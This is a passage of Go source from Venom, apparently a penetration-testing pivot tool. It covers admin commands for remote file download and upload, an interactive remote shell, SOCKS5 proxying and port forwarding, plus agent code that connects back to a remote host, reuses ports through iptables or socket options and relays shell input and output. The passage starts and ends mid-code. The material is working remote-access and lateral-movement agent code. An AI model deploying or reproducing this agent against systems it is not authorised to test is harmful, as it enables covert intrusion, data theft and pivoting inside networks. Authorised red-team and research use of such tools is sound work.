protocol.DownloadPacketCmd{ 158 | PathLen: uint32(len(remotePath)), 159 | Path: []byte(remotePath), 160 | } 161 | packetHeader := protocol.PacketHeader{ 162 | Separator: global.PROTOCOL_SEPARATOR, 163 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 164 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 165 | CmdType: protocol.DOWNLOAD, 166 | } 167 | peerNode.WritePacket(packetHeader, downloadPacketCmd) 168 | 169 | var retPacketHeader protocol.PacketHeader 170 | var downloadPacketRet protocol.DownloadPacketRet 171 | err = node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&retPacketHeader, &downloadPacketRet) 172 | if err != nil { 173 | fmt.Println(fmt.Sprintf("downloadpacket error: %s", err)) 174 | return false 175 | } 176 | 177 | if downloadPacketRet.Success == 0 { 178 | fmt.Println("download file error: " + string(downloadPacketRet.Msg)) 179 | if utils.FileExists(localPath) { 180 | os.Remove(localPath) 181 | } 182 | return false 183 | } 184 | 185 | if downloadPacketRet.FileLen > 1024*1024*100 { 186 | fmt.Printf("this file is too large (%s), do you still want to download it? (y/n) ", 187 | utils.GetFileSizeDescription(downloadPacketRet.FileLen)) 188 | var choise string 189 | fmt.Scanf("%s", &choise) 190 | if choise != "y" { 191 | fmt.Println("stop download.") 192 | downloadPacketCmd.StillDownload = 0 193 | peerNode.WritePacket(packetHeader, downloadPacketCmd) 194 | 195 | if utils.FileExists(localPath) { 196 | os.Remove(localPath) 197 | } 198 | return false 199 | } 200 | } 201 | 202 | downloadPacketCmd.StillDownload = 1 203 | peerNode.WritePacket(packetHeader, downloadPacketCmd) 204 | 205 | /* ---------- download file ---------- */ 206 | err = node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&packetHeader, &downloadPacketRet) 207 | if err != nil { 208 | fmt.Println(fmt.Sprintf("[-]downloadpacket error: %s", err)) 209 | return false 210 | } 211 | 212 | // 开始下载文件 213 | var dataBlockSize = uint64(global.MAX_PACKET_SIZE - 4) 214 | loop := int64(downloadPacketRet.FileLen / dataBlockSize) 215 | remainder := downloadPacketRet.FileLen % dataBlockSize 216 | 217 | // 进度条功能 218 | bar := pb.New64(int64(downloadPacketRet.FileLen)) 219 | bar.SetTemplate(pb.Full) 220 | bar.Set(pb.Bytes, true) 221 | 222 | // and start 223 | bar.Start() 224 | 225 | for ; loop >= 0; loop-- { 226 | if loop != 0 || (loop == 0 && remainder != 0) { 227 | var fileDataPacket protocol.FileDataPacket 228 | node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&packetHeader, &fileDataPacket) 229 | _, err = localFile.Write(fileDataPacket.Data) 230 | if err != nil { 231 | fmt.Println(err) 232 | } 233 | bar.Add64(int64(fileDataPacket.DataLen)) 234 | } 235 | } 236 | bar.Finish() 237 | fmt.Println("download file successfully!") 238 | 239 | return true 240 | } 241 | 242 | // SendUploadCmd 发送上传命令 243 | func SendUploadCmd(peerNode *node.Node, localPath string, remotePath string) bool { 244 | if !utils.FileExists(localPath) { 245 | fmt.Println("local file does not exists") 246 | return false 247 | } 248 | 249 | if utils.IsDir(localPath) { 250 | fmt.Println("local file cannot be a folder") 251 | return false 252 | } 253 | 254 | localFile, err := os.Open(localPath) 255 | if err != nil { 256 | fmt.Println(err) 257 | return false 258 | } 259 | 260 | defer localFile.Close() 261 | 262 | // 如果文件过大,提醒用户选择是否继续上次(过大的文件会影响其他命令数据的传输效率) 263 | var fileSize = utils.GetFileSize(localPath) 264 | if fileSize > 1024*1024*100 { 265 | fmt.Printf("this file is too large (%s), do you still want to upload it? (y/n) ", 266 | utils.GetFileSizeDescription(uint64(fileSize))) 267 | var choise string 268 | fmt.Scanf("%s", &choise) 269 | if choise != "y" { 270 | fmt.Println("stop upload.") 271 | return false 272 | } 273 | } 274 | 275 | /* ----- before upload ----- */ 276 | // 在文件上传前,首先要确定remotePath没有错误 277 | uploadPacketCmd := protocol.UploadPacketCmd{ 278 | PathLen: uint32(len(remotePath)), 279 | Path: []byte(remotePath), 280 | FileLen: uint64(fileSize), 281 | } 282 | packetHeader := protocol.PacketHeader{ 283 | Separator: global.PROTOCOL_SEPARATOR, 284 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 285 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 286 | CmdType: protocol.UPLOAD, 287 | } 288 | 289 | peerNode.WritePacket(packetHeader, uploadPacketCmd) 290 | 291 | var packetHeaderRet protocol.PacketHeader 292 | var uploadPacketRet protocol.UploadPacketRet 293 | err = node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeaderRet, &uploadPacketRet) 294 | if err != nil { 295 | fmt.Println(fmt.Sprintf("syncpacket error: %s", err)) 296 | return false 297 | } 298 | if uploadPacketRet.Success == 0 { 299 | fmt.Println("upload file error: " + string(uploadPacketRet.Msg)) 300 | return false 301 | } 302 | /* ----- upload file ------- */ 303 | peerNode.WritePacket(packetHeader, uploadPacketCmd) 304 | 305 | // 单个数据包最大为MAX_PACKET_SIZE,除去非数据字段DataLen占用4字节 306 | var dataBlockSize = int64(global.MAX_PACKET_SIZE - 4) 307 | loop := fileSize / dataBlockSize 308 | remainder := fileSize % dataBlockSize 309 | 310 | // 进度条功能 311 | bar := pb.New64(fileSize) 312 | bar.SetTemplate(pb.Full) 313 | bar.Set(pb.Bytes, true) 314 | 315 | // and start 316 | bar.Start() 317 | 318 | var size int64 319 | // TODO: 直接在文件协议数据包中写明会传输几个数据包,而不要使用loop决定 320 | for ; loop >= 0; loop-- { 321 | var buf []byte 322 | if loop > 0 { 323 | buf = make([]byte, dataBlockSize) 324 | } else { 325 | buf = make([]byte, remainder) 326 | } 327 | // n, err := localFile.Read(buf[0:]) 328 | n, err := io.ReadFull(localFile, buf) 329 | if n > 0 { 330 | size += int64(n) 331 | dataPacket := protocol.FileDataPacket{ 332 | DataLen: uint32(n), 333 | Data: buf[0:n], 334 | } 335 | packetHeader := protocol.PacketHeader{ 336 | Separator: global.PROTOCOL_SEPARATOR, 337 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 338 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 339 | CmdType: protocol.UPLOAD, 340 | } 341 | peerNode.WritePacket(packetHeader, dataPacket) 342 | bar.Add64(int64(n)) 343 | } 344 | if err != nil { 345 | if err != io.EOF { 346 | fmt.Println("[-]read file error") 347 | } 348 | break 349 | } 350 | } 351 | bar.Finish() 352 | 353 | err = node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeaderRet, &uploadPacketRet) 354 | 355 | if err != nil { 356 | fmt.Println(fmt.Sprintf("[-]syncpacket error: %s", err)) 357 | return false 358 | } 359 | if uploadPacketRet.Success == 0 { 360 | fmt.Println("upload file error: " + string(uploadPacketRet.Msg)) 361 | return false 362 | } 363 | fmt.Println("upload file successfully!") 364 | return true 365 | } 366 | 367 | // SendShellCmd 发送shell命令 368 | func SendShellCmd(peerNode *node.Node) { 369 | 370 | shellPacketCmd := protocol.ShellPacketCmd{ 371 | Start: 1, 372 | } 373 | packetHeader := protocol.PacketHeader{ 374 | Separator: global.PROTOCOL_SEPARATOR, 375 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 376 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 377 | CmdType: protocol.SHELL, 378 | } 379 | 380 | peerNode.WritePacket(packetHeader, shellPacketCmd) 381 | 382 | var packetHeaderRet protocol.PacketHeader 383 | var shellPacketRet protocol.ShellPacketRet 384 | node.CurrentNode.CommandBuffers[protocol.SHELL].ReadPacket(&packetHeaderRet, &shellPacketRet) 385 | 386 | if shellPacketRet.Success == 1 { 387 | c := make(chan bool, 2) 388 | go CopyStdin2Node(os.Stdin, peerNode, c) 389 | go CopyNode2Stdout(peerNode, os.Stdout, c) 390 | <-c 391 | <-c 392 | // exit = true 393 | } else { 394 | fmt.Println("something error.") 395 | } 396 | } 397 | 398 | // SendSocks5Cmd 启动socks5代理 399 | func SendSocks5Cmd(peerNode *node.Node, port uint16) bool { 400 | err := netio.InitTCP("listen", fmt.Sprintf("0.0.0.0:%d", port), peerNode.HashID, localSocks5Server) 401 | 402 | if err != nil { 403 | fmt.Println("socks5 proxy startup error.") 404 | return false 405 | } 406 | fmt.Printf("a socks5 proxy of the target node has started up on the local port %d.\n", port) 407 | return true 408 | } 409 | 410 | func localSocks5Server(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) { 411 | // defer conn.Close() 412 | 413 | peerNode := node.Nodes[peerNodeID] 414 | 415 | currentSessionID := node.Nodes[peerNodeID].DataBuffers[protocol.SOCKSDATA].GetSessionID() 416 | 417 | socks5ControlCmd := protocol.Socks5ControlPacketCmd{ 418 | SessionID: currentSessionID, 419 | Start: 1, 420 | } 421 | packetHeader := protocol.PacketHeader{ 422 | Separator: global.PROTOCOL_SEPARATOR, 423 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 424 | DstHashID: utils.UUIDToArray32(peerNodeID), 425 | CmdType: protocol.SOCKS, 426 | } 427 | // send socks5 start command, send session id to socks5 server node 428 | node.Nodes[peerNodeID].WritePacket(packetHeader, socks5ControlCmd) 429 | 430 | // ReadPacket From CommandBuffer 431 | var packetHeaderRet protocol.PacketHeader 432 | var socks5ControlRet protocol.Socks5ControlPacketRet 433 | node.CurrentNode.CommandBuffers[protocol.SOCKS].ReadPacket(&packetHeaderRet, &socks5ControlRet) 434 | 435 | if socks5ControlRet.Success == 0 { 436 | fmt.Println("socks5 start error on agent") 437 | return 438 | } 439 | 440 | defer func() { 441 | // Fix Bug : socks5连接不会断开的问题 442 | socks5CloseData := protocol.NetDataPacket{ 443 | SessionID: currentSessionID, 444 | Close: 1, 445 | } 446 | packetHeader := protocol.PacketHeader{ 447 | Separator: global.PROTOCOL_SEPARATOR, 448 | CmdType: protocol.SOCKSDATA, 449 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 450 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 451 | } 452 | peerNode.WritePacket(packetHeader, socks5CloseData) 453 | 454 | // node.Nodes[peerNodeID].DataBuffers[protocol.SOCKSDATA].RealseDataBuffer(currentSessionID) 455 | // runtime.GC() 456 | }() 457 | 458 | // start read socks5 data from socks5 client 459 | // socks5 data buffer 460 | node.Nodes[peerNodeID].DataBuffers[protocol.SOCKSDATA].NewDataBuffer(currentSessionID) 461 | 462 | c := make(chan bool, 2) 463 | 464 | // 从node Socks5Buffer中读取数据,发送给客户端 465 | go node.CopyNode2Net(peerNode, conn, currentSessionID, protocol.SOCKSDATA, c) 466 | 467 | if err := AdminHandShake(conn, peerNode, currentSessionID); err != nil { 468 | // fmt.Println("socks handshake:") 469 | // fmt.Println(err) 470 | return 471 | } 472 | _, err := AdminParseTarget(conn, peerNode, currentSessionID) 473 | if err != nil { 474 | // fmt.Println("socks consult transfer mode or parse target :") 475 | // fmt.Println(err) 476 | return 477 | } 478 | 479 | // 从本地socket接收数据,发送给服务端 480 | go node.CopyNet2Node(conn, peerNode, currentSessionID, protocol.SOCKSDATA, c) 481 | 482 | // exit 483 | <-c 484 | <-done 485 | } 486 | 487 | // SendLForwardCmd Forward a local sport to a remote dport lhost:sport => dport 488 | func SendLForwardCmd(peerNode *node.Node, sport uint16, lhost string, dport uint16) { 489 | lforwardPacketCmd := protocol.NetLForwardPacketCmd{ 490 | Start: 1, 491 | DstPort: dport, 492 | SrcPort: sport, 493 | LHost: utils.IpToUint32(net.ParseIP(lhost)), 494 | } 495 | packetHeader := protocol.PacketHeader{ 496 | Separator: global.PROTOCOL_SEPARATOR, 497 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 498 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 499 | CmdType: protocol.LFORWARD, 500 | } 501 | 502 | peerNode.WritePacket(packetHeader, lforwardPacketCmd) 503 | 504 | LForwardTarget[crypto.Sha256(fmt.Sprintf("%s:%d", lhost, sport))] = true 505 | 506 | // go HandleLForward() 507 | } 508 | 509 | // SendRForwardCmd Forward a remote sport to a local dport lhost:sport => dport 510 | func SendRForwardCmd(peerNode *node.Node, rhost string, sport uint16, dport uint16) bool { 511 | err := netio.InitTCP( 512 | "listen", 513 | fmt.Sprintf("0.0.0.0:%d", dport), 514 | peerNode.HashID, 515 | localRForwardServer, 516 | rhost, 517 | sport, 518 | ) 519 | 520 | if err != nil { 521 | fmt.Println("rforward tcp listen error") 522 | return false 523 | } 524 | return true 525 | } 526 | 527 | func localRForwardServer(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) { 528 | // defer conn.Close() 529 | 530 | peerNode := node.Nodes[peerNodeID] 531 | 532 | currentSessionID := node.Nodes[peerNodeID].DataBuffers[protocol.RFORWARDDATA].GetSessionID() 533 | 534 | rforwardPacketCmd := protocol.NetRForwardPacketCmd{ 535 | SessionID: currentSessionID, 536 | Start: 1, 537 | RHost: utils.IpToUint32(net.ParseIP(args[0].([]interface{})[0].(string))), 538 | SrcPort: args[0].([]interface{})[1].(uint16), 539 | } 540 | packetHeader := protocol.PacketHeader{ 541 | Separator: global.PROTOCOL_SEPARATOR, 542 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 543 | DstHashID: utils.UUIDToArray32(peerNodeID), 544 | CmdType: protocol.RFORWARD, 545 | } 546 | 547 | node.Nodes[peerNodeID].WritePacket(packetHeader, rforwardPacketCmd) 548 | 549 | // ReadPacket From CommandBuffer 550 | var packetHeaderRet protocol.PacketHeader 551 | var rforwardPacketRet protocol.NetRForwardPacketRet 552 | node.CurrentNode.CommandBuffers[protocol.RFORWARD].ReadPacket(&packetHeaderRet, &rforwardPacketRet) 553 | 554 | if rforwardPacketRet.Success == 0 { 555 | fmt.Println("rforward: connect to target host error on agent") 556 | return 557 | } 558 | 559 | defer func() { 560 | netCloseData := protocol.NetDataPacket{ 561 | SessionID: currentSessionID, 562 | Close: 1, 563 | } 564 | packetHeader := protocol.PacketHeader{ 565 | Separator: global.PROTOCOL_SEPARATOR, 566 | CmdType: protocol.RFORWARDDATA, 567 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 568 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 569 | } 570 | peerNode.WritePacket(packetHeader, netCloseData) 571 | }() 572 | 573 | node.Nodes[peerNodeID].DataBuffers[protocol.RFORWARDDATA].NewDataBuffer(currentSessionID) 574 | 575 | c := make(chan bool, 2) 576 | 577 | go node.CopyNet2Node(conn, peerNode, currentSessionID, protocol.RFORWARDDATA, c) 578 | go node.CopyNode2Net(peerNode, conn, currentSessionID, protocol.RFORWARDDATA, c) 579 | 580 | // 大小为2的channel,在CopyNet2Node和CopyNode2Net时,只需要<-c一次即可 581 | // 因为CopyNode2Net是阻塞的,需要在对应handler函数退出之后,接收到对方节点发来的close packet才会退出 582 | <-c 583 | 584 | // exit 585 | <-done 586 | } 587 | 588 | func SendSshConnectCmd(peerNode *node.Node, sshUser string, sshHost string, sshPort uint16, dport uint16, sshAuthMethod uint16, sshAuthData string) { 589 | 590 | sshConnectPacketCmd := protocol.SshConnectPacketCmd{ 591 | SshServer: utils.IpToUint32(net.ParseIP(sshHost)), 592 | SshPort: sshPort, 593 | DstPort: dport, 594 | SshUserLen: uint32(len(sshUser)), 595 | SshUser: []byte(sshUser), 596 | SshAuthMethod: sshAuthMethod, 597 | SshAuthDataLen: uint32(len(sshAuthData)), 598 | SshAuthData: []byte(sshAuthData), 599 | } 600 | packetHeader := protocol.PacketHeader{ 601 | Separator: global.PROTOCOL_SEPARATOR, 602 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 603 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 604 | CmdType: protocol.SSHCONNECT, 605 | } 606 | 607 | peerNode.WritePacket(packetHeader, sshConnectPacketCmd) 608 | 609 | var sshConnectPacketRet protocol.ConnectPacketRet 610 | node.CurrentNode.CommandBuffers[protocol.SSHCONNECT].ReadPacket(&packetHeader, &sshConnectPacketRet) 611 | 612 | if sshConnectPacketRet.Success == 1 { 613 | fmt.Println("ssh successfully connects to the remote node!") 614 | } else { 615 | fmt.Println("ssh failed to connects to the remote node !") 616 | fmt.Println(string(sshConnectPacketRet.Msg)) 617 | } 618 | } 619 | -------------------------------------------------------------------------------- /agent/agent.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/signal" 5 | "runtime" 6 | "syscall" 7 | 8 | "github.com/Dliv3/Venom/agent/cli" 9 | "github.com/Dliv3/Venom/agent/dispather" 10 | initnode "github.com/Dliv3/Venom/agent/init" 11 | "github.com/Dliv3/Venom/crypto" 12 | "github.com/Dliv3/Venom/node" 13 | ) 14 | 15 | func main() { 16 | runtime.GOMAXPROCS(runtime.NumCPU()) 17 | 18 | cli.ParseArgs() 19 | // ignore sighup 20 | signal.Ignore(syscall.SIGHUP) 21 | 22 | node.CurrentNode.IsAdmin = 0 23 | crypto.InitEncryption(cli.Args.Password) 24 | node.CurrentNode.InitCommandBuffer() 25 | node.CurrentNode.InitDataBuffer() 26 | 27 | dispather.InitAgentHandler() 28 | 29 | initnode.InitNode() 30 | } 31 | -------------------------------------------------------------------------------- /agent/cli/cli.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | const ( 4 | LISTEN_MODE = 1 5 | CONNECT_MODE = 2 6 | ) 7 | 8 | const ( 9 | SOCKET_REUSE_METHOD = 1 10 | IPTABLES_METHOD = 2 11 | ) 12 | 13 | type Option struct { 14 | LocalPort int 15 | LocalIP string 16 | RemoteIP string 17 | RemotePort int 18 | ReusedPort int 19 | // 0 默认值,表示参数解析错误,无法设置模式 20 | // mode 1 listen a local port 21 | // mode 2 connect to remote port 22 | Mode int 23 | // 端口复用方法 24 | // 1 通过SO_REUSEADDR、SO_REUSEPORT进行端口复用 25 | // 2 通过iptables端口复用 26 | PortReuseMethod int 27 | 28 | Password string 29 | } 30 | 31 | // Args 32 | var Args Option 33 | -------------------------------------------------------------------------------- /agent/cli/cli_iot.go: -------------------------------------------------------------------------------- 1 | // +build !386 2 | // +build !amd64 3 | 4 | package cli 5 | 6 | import ( 7 | "flag" 8 | "fmt" 9 | "os" 10 | ) 11 | 12 | // COMMAND LINE INTERFACE 13 | 14 | func init() { 15 | // 不加-h选项也可以正确显示帮助信息 16 | // flag.BoolVar(&help, "h", false, "help") 17 | 18 | flag.IntVar(&Args.LocalPort, "lport", 0, "Listen a local `port`.") 19 | flag.StringVar(&Args.LocalIP, "lhost", "", "Local `ip` address.") 20 | flag.StringVar(&Args.RemoteIP, "rhost", "", "Remote `ip` address.") 21 | flag.IntVar(&Args.RemotePort, "rport", 0, "The `port` on remote host.") 22 | flag.StringVar(&Args.Password, "passwd", "", "The `password` used in encrypted communication. (optional)") 23 | 24 | // 改变默认的 Usage 25 | flag.Usage = usage 26 | } 27 | 28 | func usage() { 29 | fmt.Fprintf(os.Stderr, `Venom version: 1.1 30 | 31 | Usage: 32 | $ ./venom_agent -lport [port] 33 | $ ./venom_agent -rhost [ip] -rport [port] 34 | 35 | Options: 36 | `) 37 | flag.PrintDefaults() 38 | } 39 | 40 | // ParseArgs is a function aim to parse the command line args 41 | func ParseArgs() { 42 | flag.Parse() 43 | 44 | if Args.LocalPort == 0 && Args.RemoteIP != "" && Args.RemotePort != 0 && Args.LocalIP == "" { 45 | // connect to remote port 46 | Args.Mode = CONNECT_MODE 47 | } else if Args.LocalPort != 0 && Args.RemoteIP == "" && Args.RemotePort == 0 && Args.LocalIP == "" { 48 | // listen a local port 49 | Args.Mode = LISTEN_MODE 50 | } else { 51 | // error 52 | flag.Usage() 53 | os.Exit(0) 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /agent/cli/cli_linux.go: -------------------------------------------------------------------------------- 1 | // +build linux 2 | // +build amd64 386 3 | 4 | package cli 5 | 6 | import ( 7 | "flag" 8 | "fmt" 9 | "os" 10 | ) 11 | 12 | // COMMAND LINE INTERFACE 13 | 14 | func init() { 15 | // 不加-h选项也可以正确显示帮助信息 16 | // flag.BoolVar(&help, "h", false, "help") 17 | 18 | flag.IntVar(&Args.LocalPort, "lport", 0, "Listen a local `port`.") 19 | flag.StringVar(&Args.LocalIP, "lhost", "", "Local `ip` address.") 20 | flag.IntVar(&Args.RemotePort, "rport", 0, "The `port` on remote host.") 21 | flag.StringVar(&Args.RemoteIP, "rhost", "", "Remote `ip` address.") 22 | flag.IntVar(&Args.ReusedPort, "reuse-port", 0, "The `port` to be reused.") 23 | flag.StringVar(&Args.Password, "passwd", "", "The `password` used in encrypted communication. (optional)") 24 | 25 | // 改变默认的 Usage 26 | flag.Usage = usage 27 | } 28 | 29 | func usage() { 30 | fmt.Fprintf(os.Stderr, `Venom version: 1.1 31 | 32 | Usage: 33 | $ ./venom_agent -lport [port] 34 | $ ./venom_agent -rhost [ip] -rport [port] 35 | $ ./venom_agent -lhost [ip] -reuse-port [port] 36 | $ ./venom_agent -lport [port] -reuse-port [port] 37 | 38 | Options: 39 | `) 40 | flag.PrintDefaults() 41 | } 42 | 43 | // ParseArgs is a function aim to parse the command line args 44 | func ParseArgs() { 45 | flag.Parse() 46 | 47 | if Args.RemoteIP != "" && Args.RemotePort != 0 && Args.LocalPort == 0 && 48 | Args.LocalIP == "" && Args.ReusedPort == 0 { 49 | // connect to remote port 50 | Args.Mode = CONNECT_MODE 51 | } else if Args.LocalPort != 0 && Args.RemoteIP == "" && Args.RemotePort == 0 && 52 | Args.LocalIP == "" && Args.ReusedPort == 0 { 53 | // listen a local port 54 | Args.Mode = LISTEN_MODE 55 | } else if Args.LocalIP != "" && Args.ReusedPort != 0 && Args.LocalPort == 0 && 56 | Args.RemoteIP == "" && Args.RemotePort == 0 { 57 | Args.Mode = LISTEN_MODE 58 | Args.PortReuseMethod = SOCKET_REUSE_METHOD 59 | } else if Args.LocalPort != 0 && Args.ReusedPort != 0 && Args.LocalIP == "" && 60 | Args.RemoteIP == "" && Args.RemotePort == 0 { 61 | Args.Mode = LISTEN_MODE 62 | Args.PortReuseMethod = IPTABLES_METHOD 63 | } else { 64 | // error 65 | flag.Usage() 66 | os.Exit(0) 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /agent/cli/cli_others.go: -------------------------------------------------------------------------------- 1 | // +build windows darwin 2 | // +build amd64 386 3 | 4 | package cli 5 | 6 | import ( 7 | "flag" 8 | "fmt" 9 | "os" 10 | ) 11 | 12 | // COMMAND LINE INTERFACE 13 | 14 | func init() { 15 | // 不加-h选项也可以正确显示帮助信息 16 | // flag.BoolVar(&help, "h", false, "help") 17 | 18 | flag.IntVar(&Args.LocalPort, "lport", 0, "Listen a local `port`.") 19 | flag.StringVar(&Args.LocalIP, "lhost", "", "Local `ip` address.") 20 | flag.IntVar(&Args.RemotePort, "rport", 0, "The `port` on remote host.") 21 | flag.StringVar(&Args.RemoteIP, "rhost", "", "Remote `ip` address.") 22 | flag.IntVar(&Args.ReusedPort, "reuse-port", 0, "Reused port.") 23 | flag.StringVar(&Args.Password, "passwd", "", "The `password` used in encrypted communication. (optional)") 24 | 25 | // 改变默认的 Usage 26 | flag.Usage = usage 27 | } 28 | 29 | func usage() { 30 | fmt.Fprintf(os.Stderr, `Venom version: 1.1 31 | 32 | Usage: 33 | $ ./venom_agent -lport [port] 34 | $ ./venom_agent -rhost [ip] -rport [port] 35 | $ ./venom_agent -lhost [ip] -reuse-port [port] 36 | 37 | Options: 38 | `) 39 | flag.PrintDefaults() 40 | } 41 | 42 | // ParseArgs is a function aim to parse the command line args 43 | func ParseArgs() { 44 | flag.Parse() 45 | 46 | if Args.RemoteIP != "" && Args.RemotePort != 0 && Args.LocalPort == 0 && 47 | Args.ReusedPort == 0 && Args.LocalIP == "" { 48 | // connect to remote port 49 | Args.Mode = CONNECT_MODE 50 | } else if Args.LocalPort != 0 && Args.RemoteIP == "" && Args.RemotePort == 0 && 51 | Args.ReusedPort == 0 && Args.LocalIP == "" { 52 | // listen a local port 53 | Args.Mode = LISTEN_MODE 54 | } else if Args.ReusedPort != 0 && Args.LocalIP != "" && Args.LocalPort == 0 && 55 | Args.RemoteIP == "" && Args.RemotePort == 0 { 56 | Args.Mode = LISTEN_MODE 57 | Args.PortReuseMethod = SOCKET_REUSE_METHOD 58 | } else { 59 | // error 60 | flag.Usage() 61 | os.Exit(0) 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /agent/dispather/forward.go: -------------------------------------------------------------------------------- 1 | package dispather 2 | 3 | import ( 4 | "io" 5 | "os/exec" 6 | 7 | "github.com/Dliv3/Venom/global" 8 | "github.com/Dliv3/Venom/node" 9 | "github.com/Dliv3/Venom/protocol" 10 | "github.com/Dliv3/Venom/utils" 11 | ) 12 | 13 | func CopyStdoutPipe2Node(input io.Reader, output *node.Node, c chan bool) { 14 | buf := make([]byte, global.MAX_PACKET_SIZE-8) 15 | for { 16 | count, err := input.Read(buf) 17 | data := protocol.ShellPacketRet{ 18 | Success: 1, 19 | DataLen: uint32(count), 20 | Data: buf[:count], 21 | } 22 | packetHeader := protocol.PacketHeader{ 23 | Separator: global.PROTOCOL_SEPARATOR, 24 | CmdType: protocol.SHELL, 25 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 26 | DstHashID: utils.UUIDToArray32(output.HashID), 27 | } 28 | if err != nil { 29 | if count > 0 { 30 | output.WritePacket(packetHeader, data) 31 | } 32 | break 33 | } 34 | if count > 0 { 35 | output.WritePacket(packetHeader, data) 36 | } 37 | } 38 | c <- true 39 | // fmt.Println("CopyStdoutPipe2Node Exit") 40 | 41 | return 42 | } 43 | 44 | func CopyNode2StdinPipe(input *node.Node, output io.Writer, c chan bool, cmd *exec.Cmd) { 45 | for { 46 | var packetHeader protocol.PacketHeader 47 | var shellPacketCmd protocol.ShellPacketCmd 48 | err := node.CurrentNode.CommandBuffers[protocol.SHELL].ReadPacket(&packetHeader, &shellPacketCmd) 49 | if shellPacketCmd.Start == 0 { 50 | break 51 | } 52 | if err != nil { 53 | break 54 | } 55 | output.Write(shellPacketCmd.Cmd) 56 | if string(shellPacketCmd.Cmd) == "exit\n" { 57 | break 58 | } 59 | } 60 | c <- true 61 | // fmt.Println("CopyNode2StdinPipe Exit") 62 | 63 | return 64 | } 65 | -------------------------------------------------------------------------------- /agent/dispather/handler.go: -------------------------------------------------------------------------------- 1 | package dispather 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "io" 7 | "log" 8 | "net" 9 | "os" 10 | "os/exec" 11 | "runtime" 12 | 13 | "github.com/Dliv3/Venom/global" 14 | "github.com/Dliv3/Venom/netio" 15 | "github.com/Dliv3/Venom/node" 16 | "github.com/Dliv3/Venom/protocol" 17 | "github.com/Dliv3/Venom/utils" 18 | ) 19 | 20 | var ERR_UNKNOWN_CMD = errors.New("unknown command type") 21 | var ERR_PROTOCOL_SEPARATOR = errors.New("unknown separator") 22 | var ERR_TARGET_NODE = errors.New("can not find target node") 23 | var ERR_FILE_EXISTS = errors.New("remote file already exists") 24 | var ERR_FILE_NOT_EXISTS = errors.New("remote file not exists") 25 | var ERR_PATH_IS_DIR = errors.New("remote file cannot be a folder") 26 | 27 | // AgentClient Admin节点作为Client 28 | func AgentClient(conn net.Conn) { 29 | result, peerNode := node.ClentInitConnection(conn) 30 | if result { 31 | log.Println("[+]Successfully connects to a new node") 32 | go node.CurrentNode.CommandHandler(peerNode) 33 | } 34 | } 35 | 36 | // AgentServer Admin节点作为Server 37 | func AgentServer(conn net.Conn) { 38 | log.Println("[+]Remote connection: ", conn.RemoteAddr()) 39 | result, peerNode := node.ServerInitConnection(conn) 40 | if result { 41 | log.Println("[+]A new node successfully connects to this node") 42 | go node.CurrentNode.CommandHandler(peerNode) 43 | } 44 | } 45 | 46 | // InitAgentHandler Agent处理Admin发出的命令 47 | func InitAgentHandler() { 48 | go handleSyncCmd() 49 | go handleListenCmd() 50 | go handleConnectCmd() 51 | go handleDownloadCmd() 52 | go handleUploadCmd() 53 | go handleShellCmd() 54 | go handleSocks5Cmd() 55 | go handleLForwardCmd() 56 | go handleRForwardCmd() 57 | go handleSshConnectCmd() 58 | } 59 | 60 | func handleSyncCmd() { 61 | for { 62 | // fmt.Println("Nodes", node.Nodes) 63 | 64 | var packetHeader protocol.PacketHeader 65 | var syncPacket protocol.SyncPacket 66 | node.CurrentNode.CommandBuffers[protocol.SYNC].ReadPacket(&packetHeader, &syncPacket) 67 | 68 | // 重新初始化网络拓扑,这样当有节点断开时网络拓扑会实时改变 69 | node.GNetworkTopology.InitNetworkMap() 70 | 71 | node.GNetworkTopology.ResolveNetworkMapData(syncPacket.NetworkMap) 72 | 73 | // 通信的对端节点 74 | var peerNodeID = utils.Array32ToUUID(packetHeader.SrcHashID) 75 | 76 | // nextNode为下一跳 77 | nextNode := node.Nodes[node.GNetworkTopology.RouteTable[peerNodeID]] 78 | 79 | networkMap := node.GNetworkTopology.GenerateNetworkMapData() 80 | 81 | // 递归向其他节点发送sync同步路由表请求 82 | for i := range node.Nodes { 83 | if node.Nodes[i].HashID != peerNodeID && node.Nodes[i].DirectConnection { 84 | tempPacketHeader := protocol.PacketHeader{ 85 | Separator: global.PROTOCOL_SEPARATOR, 86 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 87 | DstHashID: utils.UUIDToArray32(node.Nodes[i].HashID), 88 | CmdType: protocol.SYNC, 89 | } 90 | tempSyncPacket := protocol.SyncPacket{ 91 | NetworkMapLen: uint64(len(networkMap)), 92 | NetworkMap: networkMap, 93 | } 94 | 95 | node.Nodes[i].WritePacket(tempPacketHeader, tempSyncPacket) 96 | 97 | node.CurrentNode.CommandBuffers[protocol.SYNC].ReadPacket(&tempPacketHeader, 